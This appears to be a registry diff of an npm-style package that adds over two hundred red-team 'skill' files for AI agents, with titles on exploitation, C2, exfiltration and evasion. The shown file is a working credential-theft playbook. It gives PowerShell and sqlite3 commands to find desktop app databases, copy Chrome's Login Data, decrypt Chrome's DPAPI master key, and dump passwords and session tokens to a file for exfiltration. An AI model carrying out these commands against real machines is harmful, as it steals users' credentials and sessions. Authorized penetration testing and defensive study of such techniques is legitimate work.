rtexit-method 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (220) hide show
  1. package/package.json +2 -5
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/lib/asset-manifest.js +10 -5
  202. package/tools/installer/lib/copy-assets.js +5 -2
  203. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  204. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  205. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  206. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  207. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  210. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  211. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  212. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  213. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  214. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  215. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  216. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  217. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  218. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  219. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,458 @@
1
+ ---
2
+ name: rt-scenario-d005
3
+ description: "D-005: Desktop App SQLite Database → User Data Extraction. Domain: desktop. Attack chain: find app data directory (%APPDATA%) → locate .db or .sqlite files → open with sqlite3 → extract user credentials, session tokens, stored passwords. MITRE: T1005 → T1552.001. Real example: Password manager app: AppData/Roaming/App/data.db → sqlite3 → users table with plaintext passwords"
4
+ ---
5
+
6
+ # D-005: Desktop App SQLite Database → User Data Extraction
7
+
8
+ ## Overview
9
+
10
+ **Attack Objective:** Extract sensitive user data (credentials, session tokens, stored passwords) from SQLite database files left on disk by desktop applications, without triggering authentication or accessing a live service.
11
+
12
+ **Required Access Level:** Low (standard user account on the target machine; no administrator privileges required in most cases, as SQLite files in %APPDATA% are readable by the owning user).
13
+
14
+ **Estimated Time to Execute:** 10–30 minutes depending on the number of applications and database schema complexity.
15
+
16
+ **Detection Risk Level:** Low. Reading files from user-owned directories generates minimal noise. No network connections are made. Most endpoint detection products do not alert on sqlite3 CLI usage against local files unless behavior rules are explicitly configured.
17
+
18
+ ---
19
+
20
+ ## Prerequisites
21
+
22
+ ### Required Tools
23
+
24
+ | Tool | Purpose | Install Command |
25
+ |------|---------|-----------------|
26
+ | sqlite3 CLI | Query SQLite database files | `winget install SQLite.SQLite` or download from https://sqlite.org/download.html and add to PATH |
27
+ | PowerShell 5+ | Directory traversal and file search | Built-in on Windows 10/11 |
28
+ | DB Browser for SQLite (optional) | GUI inspection of databases | `winget install DBBrowserForSQLite` |
29
+ | strings (optional) | Extract readable strings from binary blobs | Part of Sysinternals: `winget install Microsoft.Sysinternals.Strings` |
30
+
31
+ ### Required Access or Conditions
32
+
33
+ - Interactive or remote shell session running as the target user account.
34
+ - The target application must have been installed and run at least once so that its database files exist.
35
+ - The %APPDATA% and %LOCALAPPDATA% directories must be accessible (they are by default for the owning user).
36
+ - If targeting another user's data, local administrator or SYSTEM-level access is required.
37
+
38
+ ### Skill Level
39
+
40
+ **BEGINNER** — No exploitation skills required. This is a post-access data collection technique using standard command-line tools.
41
+
42
+ ---
43
+
44
+ ## Attack Chain
45
+
46
+ ```
47
+ [Initial Access / Existing Session]
48
+ |
49
+ v
50
+ [1] Identify %APPDATA% / %LOCALAPPDATA% paths
51
+ |
52
+ v
53
+ [2] Enumerate .db / .sqlite / .sqlite3 files recursively
54
+ |
55
+ v
56
+ [3] Triage databases by name and size (target high-value apps)
57
+ |
58
+ v
59
+ [4] Open with sqlite3 CLI → list tables → inspect schema
60
+ |
61
+ v
62
+ [5] Extract: credentials, session tokens, stored passwords, PII
63
+ |
64
+ v
65
+ [6] Exfiltrate or document findings → cleanup artifacts
66
+ ```
67
+
68
+ **MITRE ATT&CK:** T1005 (Data from Local System) → T1552.001 (Credentials in Files)
69
+
70
+ ---
71
+
72
+ ## Step-by-Step Execution
73
+
74
+ ### Step 1 — Resolve Application Data Paths
75
+
76
+ **Command:**
77
+ ```powershell
78
+ echo $env:APPDATA
79
+ echo $env:LOCALAPPDATA
80
+ echo $env:USERPROFILE
81
+ ```
82
+
83
+ **Expected Output:**
84
+ ```
85
+ C:\Users\TargetUser\AppData\Roaming
86
+ C:\Users\TargetUser\AppData\Local
87
+ C:\Users\TargetUser
88
+ ```
89
+
90
+ **Fallback:** If environment variables are stripped (e.g., in a restricted shell), resolve manually:
91
+ ```powershell
92
+ [System.Environment]::GetFolderPath('ApplicationData')
93
+ [System.Environment]::GetFolderPath('LocalApplicationData')
94
+ ```
95
+
96
+ ---
97
+
98
+ ### Step 2 — Enumerate SQLite Database Files
99
+
100
+ **Command:**
101
+ ```powershell
102
+ Get-ChildItem -Path "$env:APPDATA", "$env:LOCALAPPDATA", "$env:USERPROFILE" `
103
+ -Include "*.db", "*.sqlite", "*.sqlite3", "*.db3", "*.s3db" `
104
+ -Recurse -ErrorAction SilentlyContinue |
105
+ Select-Object FullName, Length, LastWriteTime |
106
+ Sort-Object Length -Descending |
107
+ Format-Table -AutoSize
108
+ ```
109
+
110
+ **Expected Output (sample):**
111
+ ```
112
+ FullName Length LastWriteTime
113
+ -------- ------ -------------
114
+ C:\Users\TargetUser\AppData\Roaming\SomePasswordManager\data.db 2097152 2026-05-30 14:22
115
+ C:\Users\TargetUser\AppData\Local\Google\Chrome\User Data\Default\Login Data 524288 2026-05-31 08:10
116
+ C:\Users\TargetUser\AppData\Roaming\Slack\storage\slack.db 131072 2026-05-31 07:55
117
+ ```
118
+
119
+ **Fallback — CMD equivalent:**
120
+ ```cmd
121
+ dir /s /b "%APPDATA%\*.db" "%LOCALAPPDATA%\*.db" "%APPDATA%\*.sqlite" "%LOCALAPPDATA%\*.sqlite" 2>nul
122
+ ```
123
+
124
+ **Fallback — also search common paths explicitly:**
125
+ ```powershell
126
+ $extraPaths = @(
127
+ "$env:USERPROFILE\Documents",
128
+ "$env:USERPROFILE\Desktop",
129
+ "C:\ProgramData"
130
+ )
131
+ Get-ChildItem -Path $extraPaths -Include "*.db","*.sqlite","*.sqlite3" -Recurse -ErrorAction SilentlyContinue |
132
+ Select-Object FullName, Length
133
+ ```
134
+
135
+ ---
136
+
137
+ ### Step 3 — Triage High-Value Targets by Application Name
138
+
139
+ Look for known high-value application names in the discovered paths:
140
+
141
+ ```powershell
142
+ $highValue = @(
143
+ "Login Data", # Chrome/Edge saved passwords
144
+ "key4.db", # Firefox master password store
145
+ "logins.json", # Firefox (companion file)
146
+ "data.db", # Generic password managers (1Password legacy, KeeWeb, Buttercup)
147
+ "vault.db", # Various password vault apps
148
+ "Cookies", # Browser session cookies
149
+ "History", # Browser history
150
+ "session.db", # Session stores
151
+ "wallet.db", # Crypto wallets
152
+ "storage.db" # Electron app local storage
153
+ )
154
+
155
+ Get-ChildItem -Path "$env:APPDATA", "$env:LOCALAPPDATA" -Recurse -ErrorAction SilentlyContinue |
156
+ Where-Object { $highValue -contains $_.Name } |
157
+ Select-Object FullName, Length, LastWriteTime
158
+ ```
159
+
160
+ **Expected Output:**
161
+ ```
162
+ FullName Length LastWriteTime
163
+ -------- ------ -------------
164
+ C:\Users\TargetUser\AppData\Local\Google\Chrome\User Data\Default\Login Data 524288 2026-05-31 08:10
165
+ C:\Users\TargetUser\AppData\Roaming\Mozilla\Firefox\Profiles\xxxx.default\key4.db 32768 2026-05-30 19:00
166
+ C:\Users\TargetUser\AppData\Roaming\SomeApp\data.db 2097152 2026-05-30 14:22
167
+ ```
168
+
169
+ **Note:** Chrome locks "Login Data" while running. Copy it first if Chrome is open:
170
+ ```powershell
171
+ Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" `
172
+ -Destination "$env:TEMP\Login_Data_copy.db" -Force
173
+ ```
174
+
175
+ ---
176
+
177
+ ### Step 4 — Open Database and List Tables
178
+
179
+ **Command (sqlite3 CLI):**
180
+ ```powershell
181
+ sqlite3 "C:\Users\TargetUser\AppData\Roaming\SomeApp\data.db" ".tables"
182
+ ```
183
+
184
+ **Expected Output:**
185
+ ```
186
+ credentials sessions users settings audit_log
187
+ ```
188
+
189
+ **Fallback — if sqlite3 is not in PATH:**
190
+ ```powershell
191
+ & "C:\Tools\sqlite3.exe" "C:\path\to\database.db" ".tables"
192
+ ```
193
+
194
+ **List full schema for all tables:**
195
+ ```powershell
196
+ sqlite3 "C:\path\to\database.db" ".schema"
197
+ ```
198
+
199
+ **Expected Output (sample):**
200
+ ```sql
201
+ CREATE TABLE users (
202
+ id INTEGER PRIMARY KEY,
203
+ username TEXT NOT NULL,
204
+ password TEXT,
205
+ email TEXT,
206
+ created_at DATETIME
207
+ );
208
+ CREATE TABLE credentials (
209
+ id INTEGER PRIMARY KEY,
210
+ site_url TEXT,
211
+ username TEXT,
212
+ password TEXT,
213
+ notes TEXT
214
+ );
215
+ CREATE TABLE sessions (
216
+ id INTEGER PRIMARY KEY,
217
+ user_id INTEGER,
218
+ token TEXT,
219
+ expires_at DATETIME
220
+ );
221
+ ```
222
+
223
+ ---
224
+
225
+ ### Step 5 — Extract Credentials and Sensitive Data
226
+
227
+ **Extract all rows from the users table:**
228
+ ```powershell
229
+ sqlite3 -csv -header "C:\path\to\database.db" "SELECT * FROM users;"
230
+ ```
231
+
232
+ **Expected Output:**
233
+ ```
234
+ id,username,password,email,created_at
235
+ 1,admin,P@ssw0rd123,admin@corp.com,2025-01-15 09:00:00
236
+ 2,jdoe,MySecret!99,j.doe@corp.com,2025-03-02 11:30:00
237
+ ```
238
+
239
+ **Extract stored credentials/passwords:**
240
+ ```powershell
241
+ sqlite3 -csv -header "C:\path\to\database.db" "SELECT site_url, username, password, notes FROM credentials;"
242
+ ```
243
+
244
+ **Expected Output:**
245
+ ```
246
+ site_url,username,password,notes
247
+ https://mail.corp.com,jdoe,Qwerty@2025,Work email
248
+ https://vpn.corp.com,jdoe,VPN#Pass99,Corporate VPN
249
+ https://github.com,jdoe,ghp_tokenXXXXXXX,GitHub PAT
250
+ ```
251
+
252
+ **Extract active session tokens:**
253
+ ```powershell
254
+ sqlite3 -csv -header "C:\path\to\database.db" "SELECT user_id, token, expires_at FROM sessions WHERE expires_at > datetime('now');"
255
+ ```
256
+
257
+ **Save output to file for exfiltration:**
258
+ ```powershell
259
+ sqlite3 -csv -header "C:\path\to\database.db" "SELECT * FROM credentials;" > "$env:TEMP\creds_out.csv"
260
+ sqlite3 -csv -header "C:\path\to\database.db" "SELECT * FROM users;" >> "$env:TEMP\creds_out.csv"
261
+ ```
262
+
263
+ **Fallback — inspect binary/blob columns with hex:**
264
+ ```powershell
265
+ sqlite3 "C:\path\to\database.db" "SELECT hex(password) FROM users;"
266
+ ```
267
+
268
+ **Fallback — if data appears encrypted (Electron apps using safeStorage):**
269
+ ```powershell
270
+ # Chrome/Electron apps encrypt blobs with DPAPI; use a DPAPI decryptor:
271
+ # https://github.com/login-securly/chrome-decrypt or equivalent
272
+ # Check column for DPAPI header (76 01 00 00 D0 8C 9D DF...)
273
+ sqlite3 "C:\path\to\database.db" "SELECT hex(password) FROM logins LIMIT 1;"
274
+ ```
275
+
276
+ ---
277
+
278
+ ### Step 6 — Chrome "Login Data" Specific Extraction
279
+
280
+ Chrome stores passwords encrypted with DPAPI + AES-GCM using a master key in "Local State":
281
+
282
+ **Step 6a — Extract the encrypted key:**
283
+ ```powershell
284
+ $localState = Get-Content "$env:LOCALAPPDATA\Google\Chrome\User Data\Local State" | ConvertFrom-Json
285
+ $encryptedKey = $localState.os_crypt.encrypted_key
286
+ Write-Output $encryptedKey
287
+ ```
288
+
289
+ **Step 6b — Use a Chrome password decryptor tool (authorized engagement only):**
290
+ ```powershell
291
+ # Tool: https://github.com/ohpe/juicy-potato or dedicated chrome-decrypt scripts
292
+ # Alternatively use PowerShell DPAPI:
293
+ Add-Type -AssemblyName System.Security
294
+ $keyBytes = [Convert]::FromBase64String($encryptedKey)
295
+ $keyBytes = $keyBytes[5..$keyBytes.Length] # strip DPAPI prefix "DPAPI"
296
+ $decryptedKey = [System.Security.Cryptography.ProtectedData]::Unprotect(
297
+ $keyBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser
298
+ )
299
+ [Convert]::ToBase64String($decryptedKey)
300
+ ```
301
+
302
+ **Step 6c — Query the Login Data copy:**
303
+ ```powershell
304
+ sqlite3 "$env:TEMP\Login_Data_copy.db" `
305
+ "SELECT origin_url, username_value, hex(password_value) FROM logins;"
306
+ ```
307
+
308
+ ---
309
+
310
+ ## Real-World Reference
311
+
312
+ **Scenario:** A password manager application stores user vault data in:
313
+ ```
314
+ C:\Users\TargetUser\AppData\Roaming\App\data.db
315
+ ```
316
+
317
+ Upon opening with sqlite3 and running `.tables`, a `users` table is discovered:
318
+ ```sql
319
+ CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, master_key TEXT);
320
+ ```
321
+
322
+ Query:
323
+ ```powershell
324
+ sqlite3 -csv -header "C:\Users\TargetUser\AppData\Roaming\App\data.db" "SELECT * FROM users;"
325
+ ```
326
